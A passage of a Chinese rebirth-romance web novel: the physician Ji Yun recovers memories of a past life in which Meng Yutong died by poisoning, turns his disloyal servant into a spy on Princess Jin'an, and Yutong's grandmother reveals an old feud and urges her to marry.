纪昀看着她与平日截然不同的模样,听着她这带着关切又有些语无伦次的话语,唇角缓缓勾起一抹弧度。 她这定是醉了。 若在平日清醒时,她何曾会用这般语气同他说话。 不过,她醉时,倒是挺可爱的。 纪昀取过她面前的酒杯,换上一杯温热的清水,又执起公筷,往她面前的碟子里布了些清爽的菜蔬与软嫩的鸡肉。他的动作因右手的伤而略显迟缓,却依旧细致。 “你晚膳没怎么动筷,”他声音低沉,在周遭的喧闹中显得格外清晰,“几日不见,清减了许多。酒伤脾胃,多用些饭菜。” 孟玉桐乖巧地点了点头,醉意让她褪去了平日的疏离。 她也x学着纪昀的样子,用筷子夹起一块他方才夹给她的鸡肉,想要放回他碗里,动作却有些笨拙,险些掉在桌上。 “那你也吃,”她仰起脸,定定地看着他,“我们一起吃。” 看着她这难得的、亲近的举动,纪昀心底一软。他无奈地牵起唇角,“好,我们一起吃。” 他心下暗忖,饮酒虽于养生无益,但若非如此,他又怎能得见她这般毫无防备、柔软可依的模样?这酒看来倒也不算全无是处。 “玉桐。”他忽然低声唤她,声音比平时更轻了几分。 “嗯?”孟玉桐正小口啃着一颗栗子,闻声偏过头,眼神茫然地望着他。 纪昀凝视着她,他的眼眸在月色与灯影下显得愈发幽深,原本清冷如玉的瞳仁里,此刻却明显翻涌着复杂难辨的情绪,如同深潭之下暗流涌动。 那目光既带着探究,又隐含着一丝紧张,漆黑如墨,仿佛要将她吸进去。 “照隅堂被封之时,”他缓缓问道,“你可有想过找我帮忙?” 孟玉桐先是摇了摇头。 纪昀眼中那抹翻涌的暗色随着她这个动作,渐渐沉凝,越发晦暗难明。 随即,她又点了点头,话语有些断续:“想过……可是,不想欠你人情。不想——”她顿了顿,仿佛在组织语言,端起那杯清水抿了一口,才轻声续道,“不想再跟你……扯上太多关系。” “为何?”纪昀追问,身体不自觉地向前倾了些许,拉近了两人之间的距离,“你我之间,究竟发生过什么?” 他缠着纱布的手,此刻却带着轻微的力道,轻轻握住了她放在桌下的纤细手腕。 她的手腕很细,他掌心微拢,便能轻易将其完全包裹。 他能清晰地感受到她脉搏的跳动,一下,又一下,起初平稳,随后在他的注视与追问下,那跳动的频率竟缓缓加快。 他的目光不受控制地落在她因酒意而愈发饱满嫣红的唇瓣上,执拗地,想要寻求一个答案。 “发生过——”孟玉桐垂下眼帘,长长的睫毛在眼下投下淡淡的阴影。 她只觉得脑袋昏沉得厉害,坐在椅子上也倍感疲惫,身子不自觉地微微向右歪倒。纪昀顺势往前坐了坐,将自己的左肩稳稳地送了过去,手上稍稍用力一带,她便软软地靠进了他的怀里,寻了个舒适的姿势。 “发生过好多好多……”她在他怀中含糊地嘟囔着,气息带着山楂酒的甜香,“我……记不清了。” 桌子的另一头,吴明、白芷几人也已喝得东倒西歪。 酒量浅的如刘思钧,早已伏案不起。 没想到吴明酒量尚可,还在试图摇晃崔大的胳膊:“起来呀?接着喝!” 只是他自己也身形摇晃,显然也到了极限。 他醉眼朦胧地朝纪昀这边望来,只觉得影像重叠模糊——他们当家的,怎么好像靠在纪医官怀里了?他用力揉了揉眼睛,再睁开时,原先那两人坐着的位置竟已空无一人。 “嗬……真喝多了……”他嘟囔着,举起最后一杯酒,对着天幕中那轮皎洁的圆月,遥遥一敬,随即仰头饮尽,也“咚”地一声栽倒在桌面上。 孟玉桐靠入纪昀怀中后,便闭着眼睛,发出了均匀绵长的呼吸声,沉沉睡去。 纪昀小心翼翼地将她打横抱起,步履平稳地走向她的房间。 进屋后,他将她安置在床榻上。因着手伤未愈,他的动作格外缓慢而谨慎。 他弯腰为她脱去鞋袜,拉过锦被,仔细地掖好被角。好不容易将她妥善安顿好,他正欲直起身,孟玉桐却无意识地伸出手,软软地揽上了他的后颈。 他不设防,一时失去平衡,整个人几乎伏靠在她身上,鼻尖萦绕的全是她身上清浅的药香混合着山楂酒的甜醇气息。 “阿娘……”她闭着眼,无意识地侧过脸,温软的脸颊和鼻尖蹭过他的下颌与颈侧,带着依赖的呓语,呼吸温热,“你别走……阿萤害怕,你别走……” 这陌生的称呼让纪昀呼吸微滞,身体下意识地紧绷起来,却并未挣脱,只是任由她依偎着。 “阿萤……”他不由自主地跟着低喃出声。 分明是一个全然陌生的名字,可从他口中唤出时,心底竟毫无缘由地泛起一阵铺天盖地的酸涩与尖锐的幻痛,仿佛有无数细密的针扎在心口。 与此同时,一些零碎而模糊的画面开始在他脑中急速闪回。 仿佛也有一个女子,身上带着类似的山楂酒清香,身影绰约,看不真切。 那些画面忽远忽近,他想抓住,却总在即将触及的瞬间被新的碎片取代。似乎……每次与玉桐有较为亲密的接触时,脑中总会浮现这些陌生的片段。 他凝望着身下安然熟睡的女子,此刻她已经松开了手,不再阻拦他的离去。 可她身上那特有的馨香,那酸甜交织的气息,却仿佛化作一张无形而细密的网,将他严严实实地笼罩其中,让他动弹不得。 他的视线不受控制地再次落回她嫣红水润的唇瓣上。 屋内光线昏暗,唯有窗外漏进的一点微薄月光,恰如他此刻的心绪,一团混沌,找不到明晰的出口。 某种源于本能的情感驱使着他,让他不由自主地缓缓俯身,向前靠近…… 恰在此时,院中涌起一阵夜风,穿过未关严的窗隙,将那扇支摘窗“啪嗒”一声轻轻合上。 屋内最后一点微弱的光线也被隔绝,瞬间陷入一片纯粹的黑暗。 在这片隔绝了外界、唯有彼此气息交融的黑暗里,他终是俯下身,触及到一片不可思议的柔软与温润。那酸甜的山楂酒气息瞬间将他彻底包裹、淹没。 那并非能够浅尝辄止的滋味。如同在沙漠中跋涉许久的旅人终于寻到甘泉,他本能地、更深地探索而去,攫取到一丝清甜后,便想要更多。 如同一场幻梦,又似半梦半醒,他没有心力去分辨,只任凭自己沉溺沦陷。 就在这翻纠缠中,脑中那些原本零碎模糊的记忆碎片,竟开始奇迹般地拼凑、清晰起来。 他仿佛看见了另一个自己。 另一个,过着截然不同人生的自己…… 第98章 第98章上一世 在那唇齿相依、气息交融的混沌黑暗中,纪昀的脑海深处动荡不停,无数画面和记忆汹涌而来。 那段记忆中,他与孟玉桐的婚事并未生变,七月初七,他们如期拜堂成婚。 大婚之夜,红烛高燃,满室皆是喜庆的红色。他穿着婚服站在房中,看着床沿边那个凤冠霞帔的身影。盖头遮挡下,他看不清她的脸,只觉得肩上多了一份责任。 那一夜,他们行了夫妻之礼。 此后府中多了个人,起初他觉得,不过是多双筷子,日子照旧。 后来渐渐发现,并非如此。 她是个性子温婉体贴的姑娘,待他极好,那份好中,似藏着一份小心翼翼。 孟玉桐嫁进来后,将家中庶务打理得井井有条。 她细心照料纪明,那孩子的身子骨竟一日日健朗起来,脸上也多了笑容。对父亲母亲,对祖父,她都真心相待——为他母亲缝制安神的药枕,陪他父亲对弈解闷,为眼花的祖父抄录医书…… 连他自己都没察觉,那些纠缠他多年的失眠之夜,竟渐渐少了。有她睡在身边,他总是很快入睡,一夜安稳。 不知从何时起,他的想法变了。这桩婚事原只是为了尽责,只想与她相敬如宾。 可朝夕相处下来,他发现自己想要的,不止于此。 他庆幸遇见了这样好的女子。那个曾经将自己封闭起来、不愿改变的他,第一次生出了想要改变的念头。 可经过那件事后,他的性子变得那样别扭,他明明想要靠近她,明明欢喜与她在一起的时光,却每每在她走近时,装出若无其事的样子。 事后却总又后悔,自己方才那样的态度,是不是冷淡了些。 会不会惹她伤心? 他下定决心做出改变,可却还未来得及。 他们成婚不到半年的时候,孟玉桐身边的桂嬷嬷在乡下去世了。她伤心了好一阵。 他遣云舟去乡下查看,却发现一些古怪。 不久后,他为瑾安看诊时,瑾安给他看了一支乌木簪子。 那是桂嬷嬷的簪子,孟玉桐亲手刻的,她出嫁那日,他曾在桂嬷嬷的头上见过。 他问瑾安为何这么做。 瑾安却笑了,那张苍白秀美的脸因这笑显得格外诡异:“你知道这些年我是怎么过的吗?因为你,阿昭死了。他那样好x的人,他死了。” 她的笑容越来越扭曲:“凭什么他死了,你却好好活着?不对,你不能死,让你死太便宜了。你得活着,但不能好过。只有看着你痛苦,我心里才痛快。” 那是瑾安第一次明明白白地警告他。 从那天起,他又开始整夜做噩梦。梦到兄长的死,梦到瑾安的眼神,梦到漫天漫地朝他汹涌而来的扇动翅膀的鸽子…… 不知是不是被他扰着了,孟玉桐夜里也睡不安稳,总在翻身。 他搬去了书房。他不知道该怎么办。 他理不清思绪,时间却推着他往前走。 姨母在第二年的春日宴上中毒身亡,瑾安在一次刺客事件中“舍身救驾”,从此圣眷日隆,不再是那个无人问津的公主。 有了权势,她拿捏孟玉桐更容易了。 纪昀开始更加刻苦地日夜钻研治疗心疾的药方。 他想,若能治好瑾安,或许她的执念就会消散。若治不好,至少能用这个药方作为交换,求她放过孟玉桐。 在此期间,他不敢靠近孟玉桐。 可心意总是藏不住。 桂嬷嬷忌日那晚,她独自饮酒,醉倒在屋里。 丫鬟要扶她去休息,他正好撞见,便屏退下人,自己抱她上床。 也只有这种时候,他才不必伪装。 他低头吻了她。 第二日醒来,满身起了红疹。 幸好,他让人收起了另一坛酒,借口说是酒的问题,勉强掩盖了过去。 同年冬日,城中瘟疫蔓延。他救治病人时,自己也不慎染上。 祖父说治疗他的病症需要一味长在悬崖峭壁上的紫雪参,从未有人见过这味药,医官院上下束手无策,连祖父也没有办法。 几日后,孟玉桐带着一身泥泞和伤痕,把药材送到了祖父面前。祖父说,她为了采这药,差点从悬崖摔下去。 他意识混沌之间,祖父将紫雪参送至他面前,告知他草药得来的经过。 他握着那株沾着她体温的紫雪参,心头一阵发紧,最终还是冷着脸说:“无知妄为!若有闪失,成何体统。” 他记得那傻姑娘当时的表情——明明委屈,却还强笑着对他说:“你没事就好。” 他服过紫雪参,休养了一阵,很快痊愈。待他病好后,他如常入宫为瑾安看诊。 瑾安提起他生病的事,语气很淡,话却刺人:“你运气不错,染了那样的疫病还能活下来。你那位夫人待你,当真是掏心掏肺。” 她抬眸看他,眼中没什么温度,“怎么偏你就有这样的运气,能遇上真心待你的人?” 她顿了顿,声音轻了些:“纪昀,你知道失去心爱的人是什么滋味么?” 他垂着眼,隐去心中许多情绪,今日种种,或许都是他该承受的,他察觉到瑾安不同寻常的偏执。 从前的她能悄无声息的杀死桂嬷嬷,如今有了权势的她,想要对付孟玉桐,是再简单不过的事情。 纪昀强迫自己说出口:“我不爱她。我同你一样,每日都活在痛苦里。” 瑾安却轻轻笑了:“别骗我。我最讨厌别人骗我。” 他只好再次重复:“我不爱她。” 那次从宫中回来,他待孟玉桐更加疏远。 他看着她眼中的光一点点暗下去。她不再主动靠近,变得安静而顺从,像个精致的木偶。 他们明明住在同一个屋檐下,却像隔着一道看不见的墙。很多个深夜,他站在院子里看她熄了灯的窗口,把所有的情绪都压在心底,以为这样是在保护她。 后来他终于配出了治疗心疾的药方。 瑾安生辰那日,他入宫赴宴,把药方交给她。 他说,答应兄长的事他已经做到,希望她也能放下过去,重新开始。 瑾安接过药方,脸上露出这些年来第一个真心的笑容。她答应他,会好好活下去,不再纠缠过往。 他信了。 宴席一结束,他就急着回府。他以为一切终于可以重新开始。 可府里静得可怕。青书跪在院中,白芷的哭声从屋里传来。 他冲进房间,只看见她躺在地上,脸色青灰,面容枯败,几乎看不出原本的模样,唇边还留着黑血。 白芷在一旁哭得几近晕厥。 她手边放着一封和离书,墨迹早就干了。那和离书上写着,她从此之后与他在无干系。 他上前想抱起她,想看看她,可还没触及,白芷便用尽力气将他推开。 他跌坐在地上,喉头一阵腥甜,眼前的一切一瞬间都碎了。 这些记忆像潮水一样涌上来,把他淹没。 那些被他刻意忽略掉的关心,那些自以为能保护她的冷言冷语的瞬间,她默默付出的身影,还有她身体冰冷的触感……所有的一切,此刻都清清楚楚地想起来了。 他猛地从孟玉桐唇上退开,在黑暗中大口喘气,心口像是被撕裂一般,疼得他无法呼吸。 原来是这样。 原来他们之间,隔了一条命。原来她今生所有的疏远、抗拒、不敢欠他情、不想和他有牵扯,都是因为他前世那些愚蠢的决定。 他看着床上还在熟睡的孟玉桐,眼里满是痛悔。他慢慢伸出手,极轻极轻地碰了碰她的脸颊,手指在发抖。 “阿萤……”他又唤了一声,这次声音里带着失而复得的恐惧和刻骨的愧疚,“对不起……对不起……” 月光被阻拦在窗外,屋里一片漆黑,只剩下他沉重的呼吸声。 他坐了许久,最终失魂落魄地站起身,跌跌撞撞地走了出去。 他离开照隅堂时,已是子夜时分。 长街空寂,阒无人声,只余秋风卷着几片落叶在青石路面上打着旋儿。 家家户户门扉紧闭,偶有悬挂的灯笼投下昏黄幽光,与天际那轮冷清的满月遥相呼应,更衬得他形单影只,背影在月色下拉得老长,透着一股难以言说的孤寂与苍凉。 他如同失了魂的木偶,漫无目的地在空荡荡的街道上走着,不知来路,不问归途。 他就这样走着,待回过神来,竟发现自己不知不觉走到了城西。 眼前正是张瞎子的说书摊子,此刻早已收市,只剩下空荡荡的台面和几张胡乱摆放的长凳,在月光下显得格外冷清。 他想起,那日他就是和孟玉桐一同经过此处,听到了那出《破镜误》。 他们听到了最后一折,却未能听到结局。他至今不知,戏文里那对因误会分离的男女主人公,最后究竟如何了,那女子……可曾回头。 故事之中的那一对主人公,与他们的境况何其相似。 可孟玉桐说,若她是那女子,她会选择远离是非,各自安好。 她的确是这样的性子,若她知晓自己已恢复记忆,她定然会离自己远远的。她现在待自己,好不容易,稍微与从前有些不同。 纪昀瞬间从浑噩的痛悔中惊醒。他脸上掠过一丝清晰的痛楚,随即眼神骤然变得锐利而坚定。 不,他不能沉溺于过往的愧疚无法自拔。 既然上天给了他重来一次的机会,让他想起了所有前尘,那他绝不能坐视悲剧再次发生。 他要改写结局,无论是戏文里的那对男女的结局,还是他和阿萤的。 他知道,张瞎子在此地说书多年,因腿脚不便,家就安在说书台后面那条窄巷里,十分好找。 纪昀不再犹豫,径直走向那间低矮的瓦房,也顾不得什么礼节,直接推门而入,将尚在睡梦中的张瞎子从床榻上拽了起来。 张瞎子惊得睡意全无,他因常年看书看坏了眼睛,双眼只能看清模糊的轮廓,不知来者何人,他更是愕然。 纪昀却不管不顾,冷着脸,声音因压抑着翻涌的情绪而显得有些沙哑:“《破镜误》最后一出,结局究竟是什么?” 张瞎子揉着惺忪睡眼,嘟囔着回答:“那女子心灰意冷,并未回头。两人各自天涯了。” 他脸色瞬间白了几分,那双总是清冷的眸子里,竟控制不住地流露出一丝近乎恐惧的惶然。 “改掉它。”纪昀的声音斩钉截铁,带着不容置疑的意味,“改成他们冰释前嫌,破镜重圆,此后夫妻和顺,白首偕老。” 张瞎子活了这么大岁数,还是头一回遇到这般荒唐的要求,瞌睡醒了大半,下意识便要拒绝:“这……这自古流传的戏本,岂能说改就改……” 第99章 第99章八月十六 张瞎子话未说完,便见纪昀面无表情地开始解下身上的值钱物什,质地温润的玉佩、沉甸甸的银锭、甚至头上束发的玉冠……一件件被毫不吝惜地x堆在张瞎子那破旧的木桌上,最后只剩下腰间那个与他一贯气质不甚相符的的蝴蝶香囊未曾解下。 张瞎子又用力揉了揉眼睛,生怕自己没看清楚。 看着眼前这堆足够他安稳度过下半生的财物,眼睛都直了,剩下的话全咽回了肚子里,脸上瞬间堆起笑容,语气也变得无比顺畅:“哎哟!您早说嘛!改!这就改!小老儿我这就琢磨琢磨,保管给您改得圆满,改得喜庆!让那对有情人终成眷属,和美一生!” 纪昀不再多言,随即转身,融入了门外的夜色之中。 从张瞎子处出来,纪昀径直回了纪府。 书房内,烛火摇曳。他静坐片刻,脸上已恢复了惯常的冷峻,只是眼底深处,比往日更多了几分幽寒与沉重。 不多时,青书垂首走了进来,恭敬地立于书案前:“公子,您找我?” 纪昀没有抬眼,目光落在跳跃的烛火上,声音平缓,却带着无形的压力:“你是从何时开始,替瑾安做事的?” 青书闻言,身形几不可察地微微一僵,低垂的眼眸中闪过一丝慌乱,但他很快便稳住了心神,抬起头,脸上露出恰到好处的困惑与无辜:“公子……您这话是何意?青书听不懂。青书一直谨守本分,只效忠公子一人。” 纪昀终于抬起眼,目光冰冷,直直射向青书。 纪昀的眼神锐利如刀,仿佛能穿透一切伪装,他周身散发出的凛冽气息,让书房内的温度都骤然降了几分。 “我不喜欢问第二遍,”他语气依旧平淡,却带着威压,“你知道的,我既开口,便不会是无的放矢。” 青书跪在地上,背脊挺得笔直,试图将一切揽在自己身上:“公子明鉴,此事与瑾安公主无关。实在是大公子在世时,对公主殿下极尽关照,情深义重。如今大公子虽不在了,但青书相信,若大公子泉下有知,也定会希望有人能代他继续照料公主。” 纪昀气极反笑,声音更冷几分:“我从前竟不知,你是如此能言善辩、巧舌如簧之人。你究竟是因为兄长的缘故对她多加关照,还是你早已忘了自己的身份,连谁才是你的主子都分不清了?” 他向前倾身,目光如刃,“若有一日,瑾安让你去杀人,你是不是也会去做?” 青书垂首,沉默以对。 这无声的默认,瞬间点燃了纪昀压抑的怒火。前世孟玉桐中毒身亡、倒在血泊中的画面猛地撞入脑海,让他心脏骤缩,眼前阵阵发黑。 他猛地抓起手边的白瓷茶盏,狠狠砸向青书心口! 青书不闪不避,硬生生受了这一下。茶盏撞在他胸前发出一声闷响,随即落地碎裂,茶水浸湿了他的前襟。他闷哼一声,脸色白了白,却依旧跪得笔直。 “青书这条命,是大公子救回来的。本来早该是个死人,是大公子心善,让我多活了这些年。” 他声音低沉,带着一种近乎麻木的认命,“如今既然惹了公子不快,公子想如何惩治,青书都绝无怨言。只求公子……莫要忘了在大公子面前承诺过的事,定要治好瑾安公主的心疾。” 纪昀冷笑一声,那笑意未达眼底,反而让周遭空气更冷了几分。 他冷冷地盯着青书,眼神寒彻刺骨:“答应兄长的事,我自然会做到。关于瑾安的药方,我早已有了头绪。” 青书原本还是一副油盐不进、任打任罚的模样,却在听到“早已有了头绪”这几个字时,眼中不受控制地闪过一丝极其细微的波动。 这一丝波动,分毫不差地落入了纪昀眼中。他心中冷笑,果然如此。 纪昀凤眼微挑,那双平日里因疏离淡漠而掩去几分锐利的眸子,此刻却锋芒毕露,带着冰冷审视。 若说从前的他如覆着薄雪的静默深渊,令人望而生畏却难窥其底;那么此刻的他,便像是骤然风起云涌的瀚海,表面波澜不惊,内里却已暗流汹涌,随时能将人吞噬。 “你替我做一件事。”纪昀语气平稳,“若你做得好,或许我这边关于药方的研制,进程能更快一些。” 青书抬起头,心中那股不安愈发强烈:“公子想让青书做什么?” “明日,我会找个由头,将你送进宫中。往后,你就留在瑾安身边,名义上是我派去照料她病情的人。” 纪昀缓缓说道,每一个字都清晰无比,“我要知道她的一举一动,事无巨细。” 青书面色一震,脱口而出:“公子,此举只怕不妥!宫中耳目众多,若是被公主察觉……” “你自然可以选择不去。”纪昀打断他,眼神冷冽地扫过去,“或者,去了之后阳奉阴违,就像你如今这般。” 他话锋一转,语气带着一种精准拿捏的压迫感:“但你也清楚,瑾安的心疾在我多年调治下,方能维持稳定。如今根治的药方已有眉目,至于它何时能彻底完成……” 他微微停顿,唇角勾起一丝令人心底发寒的弧度,“除了看我的本事,也要看你的表现。” 纪昀想起上一世的事情,于是之前关于瑾安为何会下毒毒害景福的事情,瞬间也就清晰明了了。她要景福死,而后通过在圣上面前舍身救驾的桥段取代景福的位置。 既然如今景福没有死,她定然不会善罢甘休。 无论她是重复上一世的戏码,还是想出什么别的诡计,这一次,他定不会再让她得逞。 青书僵在原地,脸色变幻不定。 最终,他像是被抽走了所有力气,重重地将额头磕在冰冷的地面上,声音干涩:“是……青书,愿凭公子差遣。” 大公子是救他性命的人,而瑾安公主是大公子离世时最放心不下的人,他理应完成大公子的遗愿,让他九泉之下,能够安心。 翌日,八月十六,天晴。 照隅堂的小院里,鸟鸣声清脆悦耳,格外热闹。孟玉桐是被屋檐下那只鸽子“咕咕”的叫声吵醒的。 纪昀此前调配好景福公主的解药后,也送了些来照隅堂。 孟玉桐便给这只倒霉中毒的鸽子喂了一些,没过多久,鸽子便恢复如常,此刻听它中气十足的叫声,似乎比之前还要精神几分。 解药还有多余的,她干脆将那部分装入了自己的那只玉葫芦之中。 孟玉桐坐在床上,揉了揉隐隐作痛的额角。昨夜她难得放纵,多喝了几杯,竟醉得不省人事。 许是弄清了部分前世纠葛,心中那块沉甸甸的巨石稍移,压力小了许多,才会如此。 只是……她是怎么回到床上的?她依稀记得自己最后是伏在桌边,院中众人也都东倒西歪,难不成是她自己摸回房的? 她稍坐片刻,待晕眩感退去,便起身走到院中。白芷早已起来,正忙着收拾昨夜杯盘狼藉的残局。 孟玉桐上前帮忙,注意到桌角还放着一坛未喝完的酒。她将酒坛抱起,入手颇沉,不由莞尔:“这山楂酒竟还剩了半坛,看来大家都不胜酒力呢。” 白芷闻声回头,纠正道:“姑娘,您手上那坛不是山楂酒。桂嬷嬷酿的两坛,一坛是山楂,一坛是枇杷。您拿的那坛就是枇杷酒,昨夜打开后没喝几杯大家就都倒了,您估计还没尝到呢。” 孟玉桐面露疑色,依言拍开酒坛泥封,凑近轻嗅。 一股清润甘醇的香气扑鼻而来,带着枇杷果子特有的微甜气息,沁人心脾,确是枇杷酒无疑。 是枇杷酒? 孟玉桐忽然觉得脑中有些混沌。 若这坛是枇杷酒,那么上一世被纪昀借口拿走、导致他次日浑身起红疹的,也应是这坛枇杷酒才对。 她心跳微微加快,既然不是山楂,那他当日的红疹,究竟从何而来? 白芷见她出神,便问:“怎么了,姑娘?” 孟玉桐回过神,摇摇头。收拾完了小院,她如常前往大堂坐诊。 到了夜里,看诊完病人,孟玉桐与白芷坐在院中闲聊。 月华如水,静静流淌在照隅堂的小院里,为青石地面铺上一层银霜。 “近来医馆不算忙碌,我思忖着过两日得闲,去城外庄子上探望祖母。她在庄子上住了这些时日,不知一切可还安好。” 白芷笑着为她捏肩,“姑娘放心,有桂嬷嬷和吴嬷嬷在身边照料呢。再说,桂嬷嬷不是时常回来送信么?老夫人一切都好,还嘱咐您不必挂心。” 话音未落,院门外便传来一道中气十足、带着薄怒的熟悉嗓音: “哪敢劳动你这大忙人去看我!我若再不回来,只怕你这医馆让人抄了、拆了,我都还蒙在鼓里!x” 孟玉桐闻声起身,只见孟老太太扶着吴嬷嬷的手,步履稳健地踏入小院,桂嬷嬷紧随其后。白芷见状连忙搬来座椅,又借口去沏茶,一溜烟躲开了。 “祖母怎么突然回来了?”孟玉桐上前行了礼,搀扶孟老太太坐下。 孟老太太冷哼一声,眼风扫过她:“我再不回来,怕是只能给你收尸了!” 孟玉桐心知祖母这是在气她前番医馆被查封时,未曾派人去庄子上报信的事。 她放缓声音,温言道:“祖母勿忧,事情已然平息。孙女儿不告知您,也是怕您远在庄上,徒增烦恼。” “平息了?”孟老太太闻言,直接抬手,屈起手指,在她光洁的额头上不轻不重地敲了一记,“你可知人家为何要构陷于你?可知自己究竟被卷入了何等漩涡?连根由都尚未摸清,就敢妄言平息!这次是侥幸,那下一次呢?” 第100章 第100章成亲 孟玉桐吃痛,抬手揉了揉额头。 结合前世种种,她心中其实早有猜测。瑾安对她下手,无非是因为纪昀。即便纪昀坚称与瑾安并无私情,但在那位公主心中,恐怕却不这么想,她或许早已将自己视作眼中钉。 瑾安表面柔弱无害,内里却是个执念深重、行事偏激之人。 今生她虽已与纪昀退婚,但这些时日因各种缘由,与纪昀往来频繁,或许正是此举,让瑾安误会更深,才干脆借此机会,欲将她除之而后快。 万幸此次未能让瑾安得逞。景福未死,她妄图通过毒杀景福、再设计“救驾”以取代其地位、攫取权势的算计,便已落空。 如今的瑾安,依旧是那个不受重视、无甚权势的公主,再想动她,并非易事。 只是这其中,尚有一处关窍,她始终未能想透。 那便是贤太妃。 景福中毒,是贤太妃下令查封照隅堂;景福苏醒后欲追究瑾安罪责,亦是贤太妃出面转圜,将事情压下。 贤太妃与瑾安之间,关系绝非寻常。 那么贤太妃与自己呢?若素无瓜葛,她为何要助瑾安如此大费周章,来对付自己一个微不足道的医女? “玉桐确有一事不明,”她望向孟老太太,将盘旋心头许久的疑问问出,“祖母可知晓贤太妃?此次医馆蒙难,这位太妃娘娘似在暗中推波助澜。可孙女儿与她从未有过交集,实在想不出,她为何要加害于我。” 她想起从前桂嬷嬷同自己说的往事,心中隐隐有个石破天惊的猜测,此刻那猜测愈发清晰。 孟老太太听闻“贤太妃”三字,脸色骤然一沉,浑浊的眼中最先掠过的是一抹刻骨的厌恶与痛恨。 她那只早年受伤、布满褶皱的手下意识地按在膝盖上,指尖不受控制地微微颤抖起来,越抖越厉害。 吴嬷嬷见状,连忙将白芷刚沏好的热茶塞进老太太手中,用自己的手紧紧握住老太太颤抖的手,满眼心疼:“老夫人,您定定神。还是……还是让老桂来说吧。” 孟玉桐见几人神色剧变,心中那模糊的猜测瞬间落到了实处。 她看着桂嬷嬷,自己开口问道:“可是与嬷嬷从前给我讲过的,关于祖母年轻时的往事有关?” 她如此敏锐,话已至此,几人便知再也瞒她不住。 孟老太太缓缓闭上眼,从胸腔深处吐出一口沉郁滞涩的长气,仿佛耗尽了力气般,朝桂嬷嬷的方向抬了抬手,声音里透出无尽的疲惫:“你说吧……都告诉她。” 桂嬷嬷这才上前一步,顺着孟玉桐的话沉声道:“是。姑娘猜得不错。老奴从前确与姑娘提过,老夫人年轻时曾于危难中救过一位贵公子。那位公子……便是当今的荣亲王。而他的生母,正是如今的贤太妃。” 吴嬷嬷在一旁红着眼眶补充:“原本这些陈年旧怨,老夫人是打定了主意要带进棺材里的,绝不愿让姑娘您沾染半分。可前日听闻照隅堂被封,老夫人便知,此事若再瞒着您,只怕……反倒会害了您啊。” 孟玉桐凝视着祖母脸上那道狰狞扭曲的旧疤,都过了这么多年了,那疤痕依旧清晰可见,无声诉说着当年惨烈。 此刻在祖母面前重提这般不堪回首的往事,无异于在她鲜血淋漓的旧伤上,又狠狠剜了一刀。 她心口酸涩难言,上前轻轻握住老太太那双犹在微颤的手,将哽在喉间许久的话,轻柔而坚定地说了出来: “祖母,这些年……您受苦了。” 孟老太太睁开眼,看向孟玉桐的目光中流露出深切的欣慰与难以掩饰的疲惫。 “我这把老骨头,活到如今这个岁数,早已没什么可求的了。” 她声音低沉,带着几分沧桑沙哑,“在这世上,我唯一放心不下的,只有你。我早料到那老虔婆将来可能会拿你做文章,所以才早早为你定下婚事。选中纪家,一则是因为纪怀瑾欠我一份人情,二则……也只有他们这样的人家,将来或能护你周全。” 她轻轻拍了拍孟玉桐的手背,叹息道:“只是没想到,你长大了,有自己的主意。我强硬了一辈子,那是难得一次心软,应了你退婚的要求,允你出来开这医馆。如今看来……我最担心的事,终究还是发生了。” “那老虔婆,控制欲强得可怕。当年我与她儿子之间本就清清白白,也从未想过要与天家贵胄扯上关系。若非应纪怀瑾之邀,来临安会诊一桩疑难病例,我根本不会遇上他们,更不会……”她的话语顿住,眼中闪过一丝痛色,没有再说下去。 她看着孟玉桐,语气转为凝重:“我听说,你与她那孙子,有些来往。听祖母一句,离他远些。那老太婆如今儿子已不在身边,无所控扼,她全部的注意力,只怕都放在了那个孙子身上。你此番遭难,导火索,恐怕就源于此。” 孟玉桐心中巨震,原来竟是如此。 前世临死之前,她心中对祖母还有诸多怨怼,以为自己不过是家族维系关系的棋子,却万万没想到,背后竟藏着如此复杂的隐情。 祖母为她,竟思虑得如此深远,步步为营,只为在她羽翼未丰时,为她寻一个可能的庇护。 泪水不受控制地夺眶而出,滴落在孟老太太布满褶皱的手背上。 “好端端的,怎么哭起来了?”孟老太太略显笨拙地抬手,用指腹为她拭去泪痕,“没什么好怕的。眼下这情形,我只担心她会在你的婚事上大做文章。我此次回来,便是要与你商量此事——你必须尽快成亲。” 老太太神情严肃,不容置疑。 孟玉桐闻言,心猛地一沉。前世那段充斥着冷落、算计与最终死亡的婚姻,如同梦魇般刻在她灵魂深处。 她拼尽全力挣脱牢笼,赢得眼下这片能够自主呼吸的天地,便是深信唯有将命运牢牢握在自己手中,才能活下去。 成亲?那无异于让她将好不容易抓在手中的安心又交付出去,她如何甘心 她几乎要脱口而出拒绝的话,可看着祖母担忧而坚定的眼神,那些话又哽在喉间。 孟老太太仿佛看穿了她的心思,语气放缓了些,却依旧坚定:“你身边可有中意的人选?我听桂嬷嬷说,你开医馆这些日子,结识了不少人,其中不乏品性纯良的好后生。 “祖母知道,如今情况紧迫,由不得你再随心所欲。我也知晓你本事大,这一身医术已胜过当年的我,这医馆也说开就开起来了。” 她目光慈和却锐利,看进孟玉桐眼底深处:“我更知道你在顾虑什么。你害怕重蹈覆辙,怕一旦成婚,便会失去自我,将命运交到他人手中,任人拿捏,是吗?” 孟玉桐睫羽轻颤,默认了。 孟老太太握住她的手,用力紧了紧,声音沉稳有力:“傻孩子,祖母要告诉你,女子真正的强大,并非只有拒人千里、孤身奋战这一条路。即便成了婚,你也依旧是你! “你这一身起死回生的医术不会消失,这照隅堂的招牌不会倒下,明年医官院的选拔,你照样可以去争!如今的你,有了安身立命的本事,有了属于自己的底气。 “祖母相信,无论你选择何种方式生活,都有能力护住自己,得到你想要的一切。婚姻可以是一道枷锁,但若遇得良人,经营得当,亦可成为一副铠甲。” 她轻轻拍了拍孙女的手背,语气转为紧迫:“那老太婆绝不会善x罢甘休,趁她现在还未发难,我们要早做准备,不然就晚了。” 她转而看向一旁侍立的白芷,“白芷丫头,你来说说,与阿萤来往较多的男子都有哪些?家世人品如何?可堪托付?” 孟玉桐蹙眉,开口欲阻:“祖母……” 孟老太太抬手,止住了她的话头,目光落在白芷身上。 白芷慢吞吞地挪上前,见院里四双眼睛齐刷刷盯着自己,只得硬着头皮开口:“与姑娘往来较多的公子有几位。一位是秦州来的刘思钧刘少当家,家里是经营马帮的,走南闯北做生意。为人豪爽仗义,常来医馆帮忙。我瞧着……他对姑娘,似乎是有几分好感的。” 孟玉桐抬眸瞥了她一眼,眼神微凉。 白芷立刻噤声,低下头装模作样地绞着手中的衣角。 孟老太太清了清嗓子,目光里带着些了然:“这小子,我知道。说起来,他与你还是血脉至亲。” 